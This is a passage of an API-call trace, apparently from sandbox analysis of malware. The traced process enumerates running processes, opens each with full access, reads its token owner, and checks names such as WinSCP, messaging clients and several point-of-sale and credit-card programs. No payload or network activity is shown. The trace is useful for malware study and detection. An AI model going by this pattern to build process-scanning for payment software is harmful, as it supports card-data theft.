	[0101.835] LookupAccountSidW (in: lpSystemName=0x0, Sid=0x29cfa0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x0, cchName=0x114518, ReferencedDomainName=0x0, cchReferencedDomainName=0x114510, peUse=0x114260 | out: Name=0x0, cchName=0x114518, ReferencedDomainName=0x0, cchReferencedDomainName=0x114510, peUse=0x114260) returned 0
	[0101.837] LookupAccountSidW (in: lpSystemName=0x0, Sid=0x29cfa0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x2b4460, cchName=0x114518, ReferencedDomainName=0x2c9ad0, cchReferencedDomainName=0x114510, peUse=0x114260 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x114518, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x114510, peUse=0x114260) returned 1
	[0101.838] GetProcessHeap () returned 0x240000
	[0101.838] HeapFree (in: hHeap=0x240000, dwFlags=0x1, lpMem=0x29cf90 | out: hHeap=0x240000) returned 1
	[0101.838] CloseHandle (hObject=0x160) returned 1
	[0101.838] Process32NextW (in: hSnapshot=0x17c, lppe=0x114280 | out: lppe=0x114280*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xa1c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1
	[0101.841] SetLastError (dwErrCode=0x0) 
	[0101.841] OpenProcess (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwProcessId=0xa1c) returned 0x160
	[0101.841] OpenProcessToken (in: ProcessHandle=0x160, DesiredAccess=0x20008, TokenHandle=0x114268 | out: TokenHandle=0x114268*=0x2c4) returned 1
	[0101.841] GetTokenInformation (in: TokenHandle=0x2c4, TokenInformationClass=0x1, TokenInformation=0x29cf90, TokenInformationLength=0x0, ReturnLength=0x114508 | out: TokenInformation=0x29cf90, ReturnLength=0x114508) returned 0
	[0101.841] GetProcessHeap () returned 0x240000
	[0101.841] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x2c) returned 0x29cf90
	[0101.842] GetTokenInformation (in: TokenHandle=0x2c4, TokenInformationClass=0x1, TokenInformation=0x29cf90, TokenInformationLength=0x2c, ReturnLength=0x114508 | out: TokenInformation=0x29cf90, ReturnLength=0x114508) returned 1
	[0101.842] LookupAccountSidW (in: lpSystemName=0x0, Sid=0x29cfa0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x0, cchName=0x114518, ReferencedDomainName=0x0, cchReferencedDomainName=0x114510, peUse=0x114260 | out: Name=0x0, cchName=0x114518, ReferencedDomainName=0x0, cchReferencedDomainName=0x114510, peUse=0x114260) returned 0
	[0101.843] LookupAccountSidW (in: lpSystemName=0x0, Sid=0x29cfa0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x2b4460, cchName=0x114518, ReferencedDomainName=0x2c9a90, cchReferencedDomainName=0x114510, peUse=0x114260 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x114518, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x114510, peUse=0x114260) returned 1
	[0101.845] GetProcessHeap () returned 0x240000
	[0101.845] HeapFree (in: hHeap=0x240000, dwFlags=0x1, lpMem=0x29cf90 | out: hHeap=0x240000) returned 1
	[0101.845] CloseHandle (hObject=0x160) returned 1
	[0101.845] Process32NextW (in: hSnapshot=0x17c, lppe=0x114280 | out: lppe=0x114280*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xa2c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1
	[0101.847] SetLastError (dwErrCode=0x0) 
	[0101.847] OpenProcess (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwProcessId=0xa2c) returned 0x160
	[0101.848] OpenProcessToken (in: ProcessHandle=0x160, DesiredAccess=0x20008, TokenHandle=0x114268 | out: TokenHandle=0x114268*=0x2c8) returned 1
	[0101.848] GetTokenInformation (in: TokenHandle=0x2c8, TokenInformationClass=0x1, TokenInformation=0x29cf90, TokenInformationLength=0x0, ReturnLength=0x114508 | out: TokenInformation=0x29cf90, ReturnLength=0x114508) returned 0
	[0101.848] GetProcessHeap () returned 0x240000
	[0101.848] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x2c) returned 0x29cf90
	[0101.848] GetTokenInformation (in: TokenHandle=0x2c8, TokenInformationClass=0x1, TokenInformation=0x29cf90, TokenInformationLength=0x2c, ReturnLength=0x114508 | out: TokenInformation=0x29cf90, ReturnLength=0x114508) returned 1
	[0101.848] LookupAccountSidW (in: lpSystemName=0x0, Sid=0x29cfa0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x0, cchName=0x114518, ReferencedDomainName=0x0, cchReferencedDomainName=0x114510, peUse=0x114260 | out: Name=0x0, cchName=0x114518, ReferencedDomainName=0x0, cchReferencedDomainName=0x114510, peUse=0x114260) returned 0
	[0101.850] LookupAccountSidW (in: lpSystemName=0x0, Sid=0x29cfa0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x2b4460, cchName=0x114518, ReferencedDomainName=0x2c9630, cchReferencedDomainName=0x114510, peUse=0x114260 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x114518, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x114510, peUse=0x114260) returned 1
	[0101.851] GetProcessHeap () returned 0x240000
	[0101.851] HeapFree (in: hHeap=0x240000, dwFlags=0x1, lpMem=0x29cf90 | out: hHeap=0x240000) returned 1
	[0101.851] CloseHandle (hObject=0x160) returned 1
	[0101.851] Process32NextW (in: hSnapshot=0x17c, lppe=0x114280 | out: lppe=0x114280*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xa3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1
	[0101.853] SetLastError (dwErrCode=0x0) 
	[0101.854] OpenProcess (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwProcessId=0xa3c) returned 0x160
	[0101.854] OpenProcessToken (in: ProcessHandle=0x160, DesiredAccess=0x20008, TokenHandle=0x114268 | out: TokenHandle=0x114268*=0x2cc) returned 1
	[0101.854] GetTokenInformation (in: TokenHandle=0x2cc, TokenInformationClass=0x1, TokenInformation=0x29cf90, TokenInformationLength=0x0, ReturnLength=0x114508 | out: TokenInformation=0x29cf90, ReturnLength=0x114508) returned 0
	[0101.854] GetProcessHeap () returned 0x240000
	[0101.854] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x2c) returned 0x29cf90
	[0101.854] GetTokenInformation (in: TokenHandle=0x2cc, TokenInformationClass=0x1, TokenInformation=0x29cf90, TokenInformationLength=0x2c, ReturnLength=0x114508 | out: TokenInformation=0x29cf90, ReturnLength=0x114508) returned 1
	[0101.854] LookupAccountSidW (in: lpSystemName=0x0, Sid=0x29cfa0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x0, cchName=0x114518, ReferencedDomainName=0x0, cchReferencedDomainName=0x114510, peUse=0x114260 | out: Name=0x0, cchName=0x114518, ReferencedDomainName=0x0, cchReferencedDomainName=0x114510, peUse=0x114260) returned 0
	[0101.856] LookupAccountSidW (in: lpSystemName=0x0, Sid=0x29cfa0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x2b4460, cchName=0x114518, ReferencedDomainName=0x2c9ad0, cchReferencedDomainName=0x114510, peUse=0x114260 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x114518, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x114510, peUse=0x114260) returned 1
	[0101.857] GetProcessHeap () returned 0x240000
	[0101.857] HeapFree (in: hHeap=0x240000, dwFlags=0x1, lpMem=0x29cf90 | out: hHeap=0x240000) returned 1
	[0101.857] CloseHandle (hObject=0x160) returned 1
	[0101.858] Process32NextW (in: hSnapshot=0x17c, lppe=0x114280 | out: lppe=0x114280*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xa4c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1
	[0101.860] SetLastError (dwErrCode=0x0) 
	[0101.860] OpenProcess (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwProcessId=0xa4c) returned 0x160
	[0101.861] OpenProcessToken (in: ProcessHandle=0x160, DesiredAccess=0x20008, TokenHandle=0x114268 | out: TokenHandle=0x114268*=0x2d0) returned 1
	[0101.861] GetTokenInformation (in: TokenHandle=0x2d0, TokenInformationClass=0x1, TokenInformation=0x29cf90, TokenInformationLength=0x0, ReturnLength=0x114508 | out: TokenInformation=0x29cf90, ReturnLength=0x114508) returned 0
	[0101.861] GetProcessHeap () returned 0x240000
	[0101.861] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x2c) returned 0x29cf90
	[0101.861] GetTokenInformation (in: TokenHandle=0x2d0, TokenInformationClass=0x1, TokenInformation=0x29cf90, TokenInformationLength=0x2c, ReturnLength=0x114508 | out: TokenInformation=0x29cf90, ReturnLength=0x114508) returned 1
	[0101.861] LookupAccountSidW (in: lpSystemName=0x0, Sid=0x29cfa0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x0, cchName=0x114518, ReferencedDomainName=0x0, cchReferencedDomainName=0x114510, peUse=0x114260 | out: Name=0x0, cchName=0x114518, ReferencedDomainName=0x0, cchReferencedDomainName=0x114510, peUse=0x114260) returned 0
	[0102.027] LookupAccountSidW (in: lpSystemName=0x0, Sid=0x29cfa0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x2b4460, cchName=0x114518, ReferencedDomainName=0x2c9a90, cchReferencedDomainName=0x114510, peUse=0x114260 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x114518, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x114510, peUse=0x114260) returned 1
	[0102.031] GetProcessHeap () returned 0x240000
	[0102.031] HeapFree (in: hHeap=0x240000, dwFlags=0x1, lpMem=0x29cf90 | out: hHeap=0x240000) returned 1
	[0102.031] CloseHandle (hObject=0x160) returned 1
	[0102.031] Process32NextW (in: hSnapshot=0x17c, lppe=0x114280 | out: lppe=0x114280*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xa5c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1
	[0102.034] SetLastError (dwErrCode=0x0) 
	[0102.034] OpenProcess (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwProcessId=0xa5c) returned 0x160
	[0102.034] OpenProcessToken (in: ProcessHandle=0x160, DesiredAccess=0x20008, TokenHandle=0x114268 | out: TokenHandle=0x114268*=0x2d4) returned 1
	[0102.034] GetTokenInformation (in: TokenHandle=0x2d4, TokenInformationClass=0x1, TokenInformation=0x29cf90, TokenInformationLength=0x0, ReturnLength=0x114508 | out: TokenInformation=0x29cf90, ReturnLength=0x114508) returned 0
	[0102.034] GetProcessHeap () returned 0x240000
	[0102.034] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x2c) returned 0x29cf90
	[0102.034] GetTokenInformation (in: TokenHandle=0x2d4, TokenInformationClass=0x1, TokenInformation=0x29cf90, TokenInformationLength=0x2c, ReturnLength=0x114508 | out: TokenInformation=0x29cf90, ReturnLength=0x114508) returned 1
	[0102.034] LookupAccountSidW (in: lpSystemName=0x0, Sid=0x29cfa0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x0, cchName=0x114518, ReferencedDomainName=0x0, cchReferencedDomainName=0x114510, peUse=0x114260 | out: Name=0x0, cchName=0x114518, ReferencedDomainName=0x0, cchReferencedDomainName=0x114510, peUse=0x114260) returned 0
	[0102.036] LookupAccountSidW (in: lpSystemName=0x0, Sid=0x29cfa0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x2b4460, cchName=0x114518, ReferencedDomainName=0x2c9630, cchReferencedDomainName=0x114510, peUse=0x114260 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x114518, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x114510, peUse=0x114260) returned 1
	[0102.056] GetProcessHeap () returned 0x240000
	[0102.056] HeapFree (in: hHeap=0x240000, dwFlags=0x1, lpMem=0x29cf90 | out: hHeap=0x240000) returned 1
	[0102.056] CloseHandle (hObject=0x160) returned 1
	[0102.056] Process32NextW (in: hSnapshot=0x17c, lppe=0x114280 | out: lppe=0x114280*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xa6c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1
	[0102.059] SetLastError (dwErrCode=0x0) 
	[0102.059] OpenProcess (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwProcessId=0xa6c) returned 0x160
	[0102.059] OpenProcessToken (in: ProcessHandle=0x160, DesiredAccess=0x20008, TokenHandle=0x114268 | out: TokenHandle=0x114268*=0x2d8) returned 1
	[0102.059] GetTokenInformation (in: TokenHandle=0x2d8, TokenInformationClass=0x1, TokenInformation=0x29cf90, TokenInformationLength=0x0, ReturnLength=0x114508 | out: TokenInformation=0x29cf90, ReturnLength=0x114508) returned 0
	[0102.060] GetProcessHeap () returned 0x240000
	[0102.060] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x2c) returned 0x29cf90
	[0102.060] GetTokenInformation (in: TokenHandle=0x2d8, TokenInformationClass=0x1, TokenInformation=0x29cf90, TokenInformationLength=0x2c, ReturnLength=0x114508 | out: TokenInformation=0x29cf90, ReturnLength=0x114508) returned 1
	[0102.060] LookupAccountSidW (in: lpSystemName=0x0, Sid=0x29cfa0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x0, cchName=0x114518, ReferencedDomainName=0x0, cchReferencedDomainName=0x114510, peUse=0x114260 | out: Name=0x0, cchName=0x114518, ReferencedDomainName=0x0, cchReferencedDomainName=0x114510, peUse=0x114260) returned 0
	[0102.061] LookupAccountSidW (in: lpSystemName=0x0, Sid=0x29cfa0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x2b4460, cchName=0x114518, ReferencedDomainName=0x2c9ad0, cchReferencedDomainName=0x114510, peUse=0x114260 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x114518, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x114510, peUse=0x114260) returned 1
	[0102.063] GetProcessHeap () returned 0x240000
	[0102.063] HeapFree (in: hHeap=0x240000, dwFlags=0x1, lpMem=0x29cf90 | out: hHeap=0x240000) returned 1
	[0102.063] CloseHandle (hObject=0x160) returned 1
	[0102.063] Process32NextW (in: hSnapshot=0x17c, lppe=0x114280 | out: lppe=0x114280*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xa7c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1
	[0102.065] SetLastError (dwErrCode=0x0) 
	[0102.065] OpenProcess (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwProcessId=0xa7c) returned 0x160
	[0102.066] OpenProcessToken (in: ProcessHandle=0x160, DesiredAccess=0x20008, TokenHandle=0x114268 | out: TokenHandle=0x114268*=0x2dc) returned 1
	[0102.066] GetTokenInformation (in: TokenHandle=0x2dc, TokenInformationClass=0x1, TokenInformation=0x29cf90, TokenInformationLength=0x0, ReturnLength=0x114508 | out: TokenInformation=0x29cf90, ReturnLength=0x114508) returned 0
	[0102.066] GetProcessHeap () returned 0x240000
	[0102.066] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x2c) returned 0x29cf90
	[0102.066] GetTokenInformation (in: TokenHandle=0x2dc, TokenInformationClass=0x1, TokenInformation=0x29cf90, TokenInformationLength=0x2c, ReturnLength=0x114508 | out: TokenInformation=0x29cf90, ReturnLength=0x114508) returned 1
	[0102.066] LookupAccountSidW (in: lpSystemName=0x0, Sid=0x29cfa0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x0, cchName=0x114518, ReferencedDomainName=0x0, cchReferencedDomainName=0x114510, peUse=0x114260 | out: Name=0x0, cchName=0x114518, ReferencedDomainName=0x0, cchReferencedDomainName=0x114510, peUse=0x114260) returned 0
	[0102.068] LookupAccountSidW (in: lpSystemName=0x0, Sid=0x29cfa0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x2b4460, cchName=0x114518, ReferencedDomainName=0x2c9a90, cchReferencedDomainName=0x114510, peUse=0x114260 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x114518, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x114510, peUse=0x114260) returned 1
	[0102.069] GetProcessHeap () returned 0x240000
	[0102.069] HeapFree (in: hHeap=0x240000, dwFlags=0x1, lpMem=0x29cf90 | out: hHeap=0x240000) returned 1
	[0102.069] CloseHandle (hObject=0x160) returned 1
	[0102.069] Process32NextW (in: hSnapshot=0x17c, lppe=0x114280 | out: lppe=0x114280*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xa8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1
	[0102.072] SetLastError (dwErrCode=0x0) 
	[0102.072] OpenProcess (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwProcessId=0xa8c) returned 0x160
	[0102.072] OpenProcessToken (in: ProcessHandle=0x160, DesiredAccess=0x20008, TokenHandle=0x114268 | out: TokenHandle=0x114268*=0x2e0) returned 1
	[0102.072] GetTokenInformation (in: TokenHandle=0x2e0, TokenInformationClass=0x1, TokenInformation=0x29cf90, TokenInformationLength=0x0, ReturnLength=0x114508 | out: TokenInformation=0x29cf90, ReturnLength=0x114508) returned 0
	[0102.073] GetProcessHeap () returned 0x240000
	[0102.073] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x2c) returned 0x29cf90
	[0102.073] GetTokenInformation (in: TokenHandle=0x2e0, TokenInformationClass=0x1, TokenInformation=0x29cf90, TokenInformationLength=0x2c, ReturnLength=0x114508 | out: TokenInformation=0x29cf90, ReturnLength=0x114508) returned 1
	[0102.073] LookupAccountSidW (in: lpSystemName=0x0, Sid=0x29cfa0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x0, cchName=0x114518, ReferencedDomainName=0x0, cchReferencedDomainName=0x114510, peUse=0x114260 | out: Name=0x0, cchName=0x114518, ReferencedDomainName=0x0, cchReferencedDomainName=0x114510, peUse=0x114260) returned 0
	[0102.074] LookupAccountSidW (in: lpSystemName=0x0, Sid=0x29cfa0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x2b4460, cchName=0x114518, ReferencedDomainName=0x2c9630, cchReferencedDomainName=0x114510, peUse=0x114260 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x114518, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x114510, peUse=0x114260) returned 1
	[0102.076] GetProcessHeap () returned 0x240000
	[0102.076] HeapFree (in: hHeap=0x240000, dwFlags=0x1, lpMem=0x29cf90 | out: hHeap=0x240000) returned 1
	[0102.076] CloseHandle (hObject=0x160) returned 1
	[0102.076] Process32NextW (in: hSnapshot=0x17c, lppe=0x114280 | out: lppe=0x114280*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xa9c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1
	[0102.079] SetLastError (dwErrCode=0x0) 
	[0102.079] OpenProcess (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwProcessId=0xa9c) returned 0x160
	[0102.079] OpenProcessToken (in: ProcessHandle=0x160, DesiredAccess=0x20008, TokenHandle=0x114268 | out: TokenHandle=0x114268*=0x2e4) returned 1
	[0102.079] GetTokenInformation (in: TokenHandle=0x2e4, TokenInformationClass=0x1, TokenInformation=0x29cf90, TokenInformationLength=0x0, ReturnLength=0x114508 | out: TokenInformation=0x29cf90, ReturnLength=0x114508) returned 0
	[0102.079] GetProcessHeap () returned 0x240000
	[0102.079] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x2c) returned 0x29cf90
	[0102.079] GetTokenInformation (in: TokenHandle=0x2e4, TokenInformationClass=0x1, TokenInformation=0x29cf90, TokenInformationLength=0x2c, ReturnLength=0x114508 | out: TokenInformation=0x29cf90, ReturnLength=0x114508) returned 1
	[0102.079] LookupAccountSidW (in: lpSystemName=0x0, Sid=0x29cfa0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x0, cchName=0x114518, ReferencedDomainName=0x0, cchReferencedDomainName=0x114510, peUse=0x114260 | out: Name=0x0, cchName=0x114518, ReferencedDomainName=0x0, cchReferencedDomainName=0x114510, peUse=0x114260) returned 0
	[0102.081] LookupAccountSidW (in: lpSystemName=0x0, Sid=0x29cfa0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x2b4460, cchName=0x114518, ReferencedDomainName=0x2c9ad0, cchReferencedDomainName=0x114510, peUse=0x114260 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x114518, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x114510, peUse=0x114260) returned 1
	[0102.082] GetProcessHeap () returned 0x240000
	[0102.082] HeapFree (in: hHeap=0x240000, dwFlags=0x1, lpMem=0x29cf90 | out: hHeap=0x240000) returned 1
	[0102.082] CloseHandle (hObject=0x160) returned 1
	[0102.083] Process32NextW (in: hSnapshot=0x17c, lppe=0x114280 | out: lppe=0x114280*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xaac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1
	[0102.085] SetLastError (dwErrCode=0x0) 
	[0102.085] OpenProcess (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwProcessId=0xaac) returned 0x160
	[0102.085] OpenProcessToken (in: ProcessHandle=0x160, DesiredAccess=0x20008, TokenHandle=0x114268 | out: TokenHandle=0x114268*=0x2e8) returned 1
	[0102.085] GetTokenInformation (in: TokenHandle=0x2e8, TokenInformationClass=0x1, TokenInformation=0x29cf90, TokenInformationLength=0x0, ReturnLength=0x114508 | out: TokenInformation=0x29cf90, ReturnLength=0x114508) returned 0
	[0102.085] GetProcessHeap () returned 0x240000
	[0102.086] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x2c) returned 0x29cf90
	[0102.086] GetTokenInformation (in: TokenHandle=0x2e8, TokenInformationClass=0x1, TokenInformation=0x29cf90, TokenInformationLength=0x2c, ReturnLength=0x114508 | out: TokenInformation=0x29cf90, ReturnLength=0x114508) returned 1
	[0102.227] LookupAccountSidW (in: lpSystemName=0x0, Sid=0x29cfa0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x0, cchName=0x114518, ReferencedDomainName=0x0, cchReferencedDomainName=0x114510, peUse=0x114260 | out: Name=0x0, cchName=0x114518, ReferencedDomainName=0x0, cchReferencedDomainName=0x114510, peUse=0x114260) returned 0
	[0102.229] LookupAccountSidW (in: lpSystemName=0x0, Sid=0x29cfa0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x2b4460, cchName=0x114518, ReferencedDomainName=0x2c9a90, cchReferencedDomainName=0x114510, peUse=0x114260 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x114518, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x114510, peUse=0x114260) returned 1
	[0102.230] GetProcessHeap () returned 0x240000
	[0102.230] HeapFree (in: hHeap=0x240000, dwFlags=0x1, lpMem=0x29cf90 | out: hHeap=0x240000) returned 1
	[0102.230] CloseHandle (hObject=0x160) returned 1
	[0102.230] Process32NextW (in: hSnapshot=0x17c, lppe=0x114280 | out: lppe=0x114280*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xabc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1
	[0102.233] SetLastError (dwErrCode=0x0) 
	[0102.233] OpenProcess (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwProcessId=0xabc) returned 0x160
	[0102.233] OpenProcessToken (in: ProcessHandle=0x160, DesiredAccess=0x20008, TokenHandle=0x114268 | out: TokenHandle=0x114268*=0x2ec) returned 1
